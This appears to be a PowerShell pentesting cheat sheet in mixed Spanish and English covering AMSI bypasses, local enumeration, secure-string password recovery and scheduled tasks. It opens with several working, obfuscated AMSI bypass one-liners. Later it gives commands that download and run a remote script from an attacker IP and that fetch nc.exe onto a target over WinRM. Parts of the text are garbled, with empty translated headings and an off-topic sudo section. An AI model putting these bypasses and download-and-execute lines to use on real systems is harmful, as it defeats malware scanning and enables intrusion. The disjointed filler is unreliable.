[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

Bypass de AMSI 2 - Enganche de Llamadas a API Administradas

Consulta esta publicación para obtener información detallada y el código.

Esta nueva técnica se basa en el enganche de llamadas a API de métodos .NET. Resulta que los métodos .NET deben compilarse en instrucciones de máquina nativas en la memoria, lo que termina pareciéndose mucho a los métodos nativos. Estos métodos compilados pueden ser enganchados para cambiar el flujo de control de un programa.

Los pasos para realizar el enganche de llamadas a API de métodos .NET son:

  1. Identificar el método objetivo para enganchar
  2. Definir un método con el mismo prototipo de función que el objetivo
  3. Utilizar reflexión para encontrar los métodos
  4. Asegurarse de que cada método haya sido compilado
  5. Encontrar la ubicación de cada método en la memoria
  6. Sobrescribir el método objetivo con instrucciones que apunten a nuestro método malicioso

Historial de PS

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Obtener permisos

To determine the permissions of a file or directory in Windows, you can use the Get-Acl cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the file.txt file, including the user or group that has each permission.

You can also use the Get-ACL cmdlet to retrieve the permissions for multiple files or directories by specifying a wildcard character (*) in the path.

Get-Acl -Path C:\path\to\*

This command will display the permissions for all files and directories in the specified path.

By default, the Get-Acl cmdlet displays the permissions in a format that is not very readable. To format the output in a more readable way, you can use the Format-List cmdlet.

Get-Acl -Path C:\path\to\file.txt | Format-List

This command will display the permissions for the file.txt file in a list format.

In addition to retrieving the permissions, you can also modify the permissions using the Set-Acl cmdlet. However, be cautious when modifying permissions, as incorrect changes can lead to security vulnerabilities.

Set-Acl -Path C:\path\to\file.txt -AclObject $acl

This command will set the permissions for the file.txt file using the ACL object specified by the $acl variable.

By understanding and managing permissions effectively, you can ensure the security of your Windows system.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Versión del sistema operativo y HotFixes

Para obtener información sobre la versión del sistema operativo y los HotFixes instalados en un sistema Windows, puedes utilizar el siguiente comando de PowerShell:

Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture

Este comando mostrará la versión del sistema operativo, la versión del Service Pack y la arquitectura del sistema.

Además, puedes obtener una lista de los HotFixes instalados en el sistema utilizando el siguiente comando:

Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID, InstalledOn

Este comando mostrará el identificador del HotFix y la fecha en que fue instalado.

Estos comandos son útiles para obtener información sobre la versión del sistema operativo y los HotFixes instalados, lo cual puede ser útil durante una evaluación de seguridad o una prueba de penetración.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Entorno


Purpose


Propósito


Prerequisites


Requisitos previos


Instructions


Instrucciones


Conclusion


Conclusión

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Otras unidades conectadas

When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One valuable piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data.

In PowerShell, you can use the Get-PSDrive cmdlet to retrieve a list of all connected drives. This cmdlet provides information about both local and remote drives, including drive letters, drive types, and the root directory of each drive.

To retrieve the list of connected drives, open a PowerShell session and run the following command:

Get-PSDrive

This will display a table with information about each connected drive, including the drive letter, drive type, and root directory. The drive type can be one of the following:

  • FileSystem: This indicates a local disk drive.
  • Registry: This indicates a registry hive.
  • Alias: This indicates a PowerShell alias.
  • Variable: This indicates a PowerShell variable.
  • Function: This indicates a PowerShell function.
  • Certificate: This indicates a certificate store.
  • Environment: This indicates an environment variable.

By examining the list of connected drives, you may discover additional storage devices or network shares that could be potential targets for further investigation. For example, a network share may contain sensitive files or configurations that could be leveraged during the penetration test.

Remember to always obtain proper authorization before conducting any penetration testing activities. Unauthorized access to systems or data is illegal and unethical.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Papelera de reciclaje

La Papelera de reciclaje es una característica de Windows que permite a los usuarios recuperar archivos y carpetas eliminados. Cuando se elimina un archivo o carpeta, en lugar de ser eliminado permanentemente, se mueve a la Papelera de reciclaje. Desde allí, los usuarios pueden restaurar los archivos o vaciar la Papelera de reciclaje para eliminarlos de forma permanente.

La Papelera de reciclaje se encuentra en el escritorio de Windows y se representa con un ícono de una papelera. Al hacer clic derecho en la Papelera de reciclaje, los usuarios pueden acceder a opciones adicionales, como restaurar archivos o cambiar la configuración de la Papelera de reciclaje.

Es importante tener en cuenta que la Papelera de reciclaje tiene un límite de capacidad y, una vez alcanzado, los archivos más antiguos se eliminarán automáticamente para dar espacio a los nuevos archivos eliminados. Por lo tanto, es recomendable vaciar periódicamente la Papelera de reciclaje para liberar espacio en el disco duro.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Reconocimiento de Dominio

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Usuarios

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Cadena segura a texto sin formato

Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar scripts de PowerShell para identificar posibles vulnerabilidades. Una técnica común utilizada por los pentesters es buscar cadenas seguras en los scripts de PowerShell y convertirlas a texto sin formato para su análisis.

A continuación se muestra un ejemplo de cómo convertir una cadena segura a texto sin formato utilizando PowerShell:

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

En este ejemplo, se crea una variable $secureString que contiene la cadena segura "MySecurePassword". Luego, se utiliza el método ConvertTo-SecureString para convertir la cadena segura a un objeto de cadena segura en PowerShell. A continuación, se utiliza el método [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR para convertir el objeto de cadena segura en un puntero a una cadena BSTR. Finalmente, se utiliza el método [System.Runtime.InteropServices.Marshal]::PtrToStringAuto para convertir el puntero a una cadena de texto sin formato.

Al ejecutar este script, la variable $plainText contendrá la cadena de texto sin formato "MySecurePassword". Esto permite a los pentesters analizar y evaluar la seguridad de la contraseña almacenada en la cadena segura.

Es importante tener en cuenta que este proceso solo funciona si el script de PowerShell se ejecuta en el mismo contexto de seguridad en el que se creó la cadena segura. Si el script se ejecuta en un contexto de seguridad diferente, la conversión de cadena segura a texto sin formato no será posible.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

O bien, analizando directamente desde XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

El comando sudo es una herramienta comúnmente utilizada en sistemas operativos basados en Unix para permitir a los usuarios ejecutar comandos con privilegios de superusuario. Esto es útil cuando se necesita realizar tareas administrativas que requieren permisos elevados.

Uso básico

El formato básico para usar sudo es el siguiente:

sudo comando

Por ejemplo, si queremos reiniciar el sistema, podemos usar el siguiente comando:

sudo reboot

Autenticación

Cuando se ejecuta un comando con sudo, se solicitará al usuario que proporcione su contraseña. Esto es para asegurarse de que el usuario tiene los permisos adecuados para ejecutar el comando con privilegios de superusuario.

Ejecución de comandos como otro usuario

Además de ejecutar comandos como superusuario, sudo también permite ejecutar comandos como otro usuario. Para hacer esto, se utiliza la opción -u seguida del nombre de usuario.

Por ejemplo, si queremos ejecutar el comando ls como el usuario johndoe, podemos usar el siguiente comando:

sudo -u johndoe ls

Configuración de sudo

La configuración de sudo se encuentra en el archivo /etc/sudoers. Este archivo define qué usuarios tienen permiso para ejecutar comandos con sudo y qué comandos pueden ejecutar.

Es importante tener cuidado al modificar este archivo, ya que cualquier error puede resultar en la denegación de acceso a los comandos de superusuario.

Conclusiones

El comando sudo es una herramienta poderosa que permite a los usuarios ejecutar comandos con privilegios de superusuario. Sin embargo, es importante utilizarlo con precaución y solo cuando sea necesario, para evitar posibles problemas de seguridad.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Grupos


Introduction

Introducción

In Windows, groups are used to organize and manage user accounts. Groups allow you to assign permissions and access rights to multiple users at once, making it easier to manage security and access control.

En Windows, los grupos se utilizan para organizar y gestionar las cuentas de usuario. Los grupos permiten asignar permisos y derechos de acceso a varios usuarios a la vez, lo que facilita la gestión de la seguridad y el control de acceso.

Types of Groups

Tipos de Grupos

There are two types of groups in Windows:

Existen dos tipos de grupos en Windows:

  1. Local Groups: These groups are created on a local machine and can only be used to grant permissions and access rights on that specific machine.

  2. Grupos locales: Estos grupos se crean en una máquina local y solo se pueden utilizar para otorgar permisos y derechos de acceso en esa máquina específica.

  3. Domain Groups: These groups are created in a Windows domain and can be used to grant permissions and access rights across multiple machines within the domain.

  4. Grupos de dominio: Estos grupos se crean en un dominio de Windows y se pueden utilizar para otorgar permisos y derechos de acceso en varias máquinas dentro del dominio.

Group Membership

Pertenencia a Grupos

Users can be members of one or more groups. Group membership allows users to inherit the permissions and access rights assigned to the group.

Los usuarios pueden ser miembros de uno o más grupos. La pertenencia a un grupo permite a los usuarios heredar los permisos y derechos de acceso asignados al grupo.

Default Groups

Grupos Predeterminados

Windows has several default groups that are created automatically during the installation process. These groups have predefined permissions and access rights.

Windows tiene varios grupos predeterminados que se crean automáticamente durante el proceso de instalación. Estos grupos tienen permisos y derechos de acceso predefinidos.

Some of the commonly used default groups include:

Algunos de los grupos predeterminados comúnmente utilizados incluyen:

  • Administrators: Members of this group have full control over the system and can perform any administrative tasks.

  • Administradores: Los miembros de este grupo tienen control total sobre el sistema y pueden realizar cualquier tarea administrativa.

  • Users: Members of this group have standard user privileges and can perform common tasks.

  • Usuarios: Los miembros de este grupo tienen privilegios de usuario estándar y pueden realizar tareas comunes.

  • Guests: Members of this group have limited privileges and are typically used for guest or temporary accounts.

  • Invitados: Los miembros de este grupo tienen privilegios limitados y se utilizan típicamente para cuentas de invitados o temporales.

Creating and Managing Groups

Creación y Gestión de Grupos

To create and manage groups in Windows, you can use the PowerShell command-line interface. PowerShell provides a set of cmdlets specifically designed for managing groups.

Para crear y gestionar grupos en Windows, puedes utilizar la interfaz de línea de comandos de PowerShell. PowerShell proporciona un conjunto de cmdlets específicamente diseñados para gestionar grupos.

Here are some common PowerShell cmdlets for managing groups:

Aquí tienes algunos cmdlets comunes de PowerShell para gestionar grupos:

  • New-LocalGroup: Creates a new local group.

  • New-LocalGroup: Crea un nuevo grupo local.

  • Add-LocalGroupMember: Adds a user or group to a local group.

  • Add-LocalGroupMember: Agrega un usuario o grupo a un grupo local.

  • Get-LocalGroup: Retrieves information about local groups.

  • Get-LocalGroup: Obtiene información sobre los grupos locales.

  • Remove-LocalGroup: Deletes a local group.

  • Remove-LocalGroup: Elimina un grupo local.

  • New-ADGroup: Creates a new domain group.

  • New-ADGroup: Crea un nuevo grupo de dominio.

  • Add-ADGroupMember: Adds a user or group to a domain group.

  • Add-ADGroupMember: Agrega un usuario o grupo a un grupo de dominio.

  • Get-ADGroup: Retrieves information about domain groups.

  • Get-ADGroup: Obtiene información sobre los grupos de dominio.

  • Remove-ADGroup: Deletes a domain group.

  • Remove-ADGroup: Elimina un grupo de dominio.

These cmdlets can be used to perform various group management tasks, such as creating new groups, adding or removing members, and retrieving information about existing groups.

Estos cmdlets se pueden utilizar para realizar diversas tareas de gestión de grupos, como crear nuevos grupos, agregar o eliminar miembros y obtener información sobre los grupos existentes.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Portapapeles

El portapapeles es una función en el sistema operativo que permite copiar y pegar texto, imágenes y otros datos entre diferentes aplicaciones. En PowerShell, puedes acceder al contenido del portapapeles utilizando el cmdlet Get-Clipboard y puedes establecer el contenido del portapapeles utilizando el cmdlet Set-Clipboard.

Obtener el contenido del portapapeles

Para obtener el contenido del portapapeles en PowerShell, puedes usar el cmdlet Get-Clipboard. Aquí tienes un ejemplo:

$clipboardContent = Get-Clipboard

Establecer el contenido del portapapeles

Para establecer el contenido del portapapeles en PowerShell, puedes usar el cmdlet Set-Clipboard. Aquí tienes un ejemplo:

Set-Clipboard -Value "Texto para copiar al portapapeles"

Usos maliciosos del portapapeles

El portapapeles puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Por ejemplo, un atacante puede utilizar técnicas de phishing para engañar a los usuarios y copiar información confidencial en el portapapeles sin su conocimiento. También es posible que un atacante utilice malware para monitorear el contenido del portapapeles y robar información sensible, como contraseñas o números de tarjetas de crédito.

Para protegerse contra estos ataques, es importante tener cuidado al copiar y pegar información sensible y asegurarse de que las aplicaciones y sistemas utilizados sean seguros y confiables. Además, es recomendable utilizar herramientas de seguridad, como antivirus y firewalls, para detectar y prevenir posibles ataques.

Conclusiones

El portapapeles es una función útil en el sistema operativo que permite copiar y pegar datos entre aplicaciones. Sin embargo, también puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Es importante tomar precauciones al utilizar el portapapeles y asegurarse de proteger la información confidencial.

Get-Clipboard

Procesos

Introduction

Introducción

Processes are the running instances of programs on a computer system. Understanding how processes work and how to interact with them is essential for a pentester. In this section, we will explore basic PowerShell commands for managing and interacting with processes.

Los procesos son las instancias en ejecución de programas en un sistema informático. Comprender cómo funcionan los procesos y cómo interactuar con ellos es esencial para un pentester. En esta sección, exploraremos comandos básicos de PowerShell para administrar e interactuar con procesos.

Listing Processes

Listado de procesos

To list all the processes running on a system, you can use the Get-Process command. This command will display information such as the process ID (PID), name, and CPU usage for each process.

Para listar todos los procesos en ejecución en un sistema, puedes utilizar el comando Get-Process. Este comando mostrará información como el ID del proceso (PID), el nombre y el uso de la CPU para cada proceso.

Get-Process

Killing a Process

Finalizar un proceso

To terminate a process, you can use the Stop-Process command followed by the process ID (PID) or the process name. This command will forcefully terminate the specified process.

Para finalizar un proceso, puedes utilizar el comando Stop-Process seguido del ID del proceso (PID) o del nombre del proceso. Este comando finalizará de forma forzada el proceso especificado.

Stop-Process -ID <PID>
Stop-Process -Name <process_name>

Starting a Process

Iniciar un proceso

To start a new process, you can use the Start-Process command followed by the path to the executable file. This command will launch the specified program.

Para iniciar un nuevo proceso, puedes utilizar el comando Start-Process seguido de la ruta al archivo ejecutable. Este comando iniciará el programa especificado.

Start-Process -FilePath <path_to_executable>

Conclusion

Conclusión

Understanding how to manage and interact with processes using PowerShell is crucial for a pentester. By mastering these basic commands, you will be able to effectively monitor and control processes on a target system.

Comprender cómo administrar e interactuar con procesos utilizando PowerShell es crucial para un pentester. Al dominar estos comandos básicos, podrás monitorear y controlar eficazmente los procesos en un sistema objetivo.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Servicios

Get-Service

Contraseña desde una cadena segura

When performing penetration testing on Windows systems, it is common to encounter situations where passwords are stored as secure strings. Secure strings are a way to protect sensitive information, such as passwords, by encrypting them and storing them in memory.

To retrieve the password from a secure string, you can use PowerShell. Here's a simple script that demonstrates how to do this:

$secureString = ConvertTo-SecureString -String "MyPassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Write-Output $plainText

In this script, we first create a secure string using the ConvertTo-SecureString cmdlet. We pass the password as a plain text string and use the -AsPlainText and -Force parameters to ensure that the secure string is created.

Next, we use the [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR method to convert the secure string to a BSTR (Basic String) representation. We then use the [System.Runtime.InteropServices.Marshal]::PtrToStringAuto method to convert the BSTR to a plain text string.

Finally, we output the plain text password using the Write-Output cmdlet.

Keep in mind that this method should only be used for legitimate purposes, such as during a penetration test where you have proper authorization to access the system. Using this technique for malicious purposes is illegal and unethical.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Tareas programadas

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence and executing malicious actions on a target system.

Las tareas programadas son una característica poderosa en Windows que te permite automatizar la ejecución de scripts o programas en momentos o intervalos específicos. Como pentester, entender cómo manipular y explotar las tareas programadas puede ser valioso para obtener persistencia y ejecutar acciones maliciosas en un sistema objetivo.

Viewing Scheduled Tasks

Ver tareas programadas

To view the list of scheduled tasks on a Windows system, you can use the Get-ScheduledTask cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system.

Para ver la lista de tareas programadas en un sistema Windows, puedes utilizar el cmdlet Get-ScheduledTask en PowerShell. Este cmdlet recupera información sobre todas las tareas programadas en el sistema local o en un sistema remoto.

Get-ScheduledTask

Creating Scheduled Tasks

Crear tareas programadas

To create a new scheduled task, you can use the New-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run.

Para crear una nueva tarea programada, puedes utilizar el cmdlet New-ScheduledTask en PowerShell. Este cmdlet te permite especificar el script o programa que se ejecutará, el desencadenador que define cuándo debe ejecutarse la tarea y otras configuraciones como la cuenta de usuario bajo la cual debe ejecutarse la tarea.

New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -User "DOMAIN\username" -Password "password"

Modifying Scheduled Tasks

Modificar tareas programadas

To modify an existing scheduled task, you can use the Set-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script or program to be executed, the trigger, and the user account.

Para modificar una tarea programada existente, puedes utilizar el cmdlet Set-ScheduledTask en PowerShell. Este cmdlet te permite cambiar varias propiedades de la tarea, como el script o programa que se ejecutará, el desencadenador y la cuenta de usuario.

Set-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 4am) -User "DOMAIN\username" -Password "password"

Deleting Scheduled Tasks

Eliminar tareas programadas

To delete a scheduled task, you can use the Unregister-ScheduledTask cmdlet in PowerShell. This cmdlet removes the specified task from the system.

Para eliminar una tarea programada, puedes utilizar el cmdlet Unregister-ScheduledTask en PowerShell. Este cmdlet elimina la tarea especificada del sistema.

Unregister-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"

Disabling Scheduled Tasks

Deshabilitar tareas programadas

To disable a scheduled task, you can use the Disable-ScheduledTask cmdlet in PowerShell. This cmdlet prevents the task from running according to its trigger.

Para deshabilitar una tarea programada, puedes utilizar el cmdlet Disable-ScheduledTask en PowerShell. Este cmdlet evita que la tarea se ejecute según su desencadenador.

Disable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"

Enabling Scheduled Tasks

Habilitar tareas programadas

To enable a disabled scheduled task, you can use the Enable-ScheduledTask cmdlet in PowerShell. This cmdlet allows the task to run according to its trigger.

Para habilitar una tarea programada deshabilitada, puedes utilizar el cmdlet Enable-ScheduledTask en PowerShell. Este cmdlet permite que la tarea se ejecute según su desencadenador.

Enable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Interfaces

Las interfaces son los puntos de conexión entre un dispositivo y una red. En Windows, se pueden utilizar comandos de PowerShell para administrar y configurar las interfaces de red.

Obtener información de las interfaces

Para obtener información sobre las interfaces de red en Windows, puedes utilizar el siguiente comando de PowerShell:

Get-NetAdapter

Este comando mostrará una lista de todas las interfaces de red en el sistema, incluyendo su nombre, descripción, estado y dirección MAC.

Habilitar o deshabilitar una interfaz

Puedes habilitar o deshabilitar una interfaz de red utilizando los siguientes comandos de PowerShell:

Enable-NetAdapter -Name "Nombre de la interfaz"
Disable-NetAdapter -Name "Nombre de la interfaz"

Reemplaza "Nombre de la interfaz" con el nombre de la interfaz que deseas habilitar o deshabilitar.

Cambiar la dirección MAC de una interfaz

Puedes cambiar la dirección MAC de una interfaz de red utilizando el siguiente comando de PowerShell:

Set-NetAdapter -Name "Nombre de la interfaz" -MacAddress "Nueva dirección MAC"

Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la dirección MAC, y "Nueva dirección MAC" con la dirección MAC que deseas asignar.

Configurar una dirección IP estática

Puedes configurar una dirección IP estática en una interfaz de red utilizando el siguiente comando de PowerShell:

New-NetIPAddress -InterfaceAlias "Nombre de la interfaz" -IPAddress "Dirección IP" -PrefixLength "Longitud del prefijo"

Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP, "Dirección IP" con la dirección IP que deseas asignar y "Longitud del prefijo" con la longitud del prefijo de la máscara de subred.

Configurar una dirección IP dinámica (DHCP)

Puedes configurar una dirección IP dinámica (DHCP) en una interfaz de red utilizando el siguiente comando de PowerShell:

Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -Dhcp Enabled

Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP dinámica.

Cambiar la métrica de una interfaz

Puedes cambiar la métrica de una interfaz de red utilizando el siguiente comando de PowerShell:

Set-NetIPInterface -InterfaceAlias "Nombre de la interfaz" -InterfaceMetric "Nueva métrica"

Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la métrica, y "Nueva métrica" con el valor de la nueva métrica que deseas asignar.

Configurar DNS en una interfaz

Puedes configurar los servidores DNS en una interfaz de red utilizando el siguiente comando de PowerShell:

Set-DnsClientServerAddress -InterfaceAlias "Nombre de la interfaz" -ServerAddresses "Direcciones de servidor DNS separadas por comas"

Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar los servidores DNS, y "Direcciones de servidor DNS separadas por comas" con las direcciones IP de los servidores DNS que deseas asignar, separadas por comas.

Estos son solo algunos ejemplos de cómo utilizar PowerShell para administrar y configurar las interfaces de red en Windows. PowerShell ofrece muchas más opciones y comandos para trabajar con las interfaces de red, por lo que te recomiendo explorar la documentación oficial de PowerShell para obtener más información.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Un firewall es una medida de seguridad crucial para proteger una red de posibles amenazas externas. Actúa como una barrera entre la red interna y el mundo exterior, controlando el tráfico de red y permitiendo o bloqueando ciertas conexiones según las reglas establecidas.

En Windows, el firewall se puede configurar utilizando PowerShell. PowerShell es una herramienta de línea de comandos y scripting que permite a los administradores de sistemas automatizar tareas y realizar configuraciones avanzadas.

A continuación se presentan algunos comandos básicos de PowerShell que pueden ser útiles para los pentesters al trabajar con el firewall de Windows:

Verificar el estado del firewall

Get-NetFirewallProfile

Este comando muestra el estado actual del firewall para los perfiles de red disponibles, como el perfil de dominio, el perfil privado y el perfil público.

Habilitar o deshabilitar el firewall

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

Este comando habilita el firewall para los perfiles de red especificados (dominio, público y privado). Para deshabilitar el firewall, cambie el valor "True" a "False".

Agregar una regla de firewall

New-NetFirewallRule -DisplayName "Allow HTTP" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow

Este comando crea una nueva regla de firewall que permite el tráfico HTTP entrante en el puerto local 80. Puede personalizar los parámetros según sus necesidades, como el nombre de la regla, la dirección (entrada o salida), el protocolo y el puerto.

Eliminar una regla de firewall

Remove-NetFirewallRule -DisplayName "Allow HTTP"

Este comando elimina una regla de firewall existente según el nombre de la regla especificado.

Estos son solo algunos ejemplos básicos de cómo utilizar PowerShell para trabajar con el firewall de Windows. PowerShell ofrece muchas más funcionalidades y opciones de configuración avanzadas que pueden ser exploradas para fortalecer la seguridad de una red.

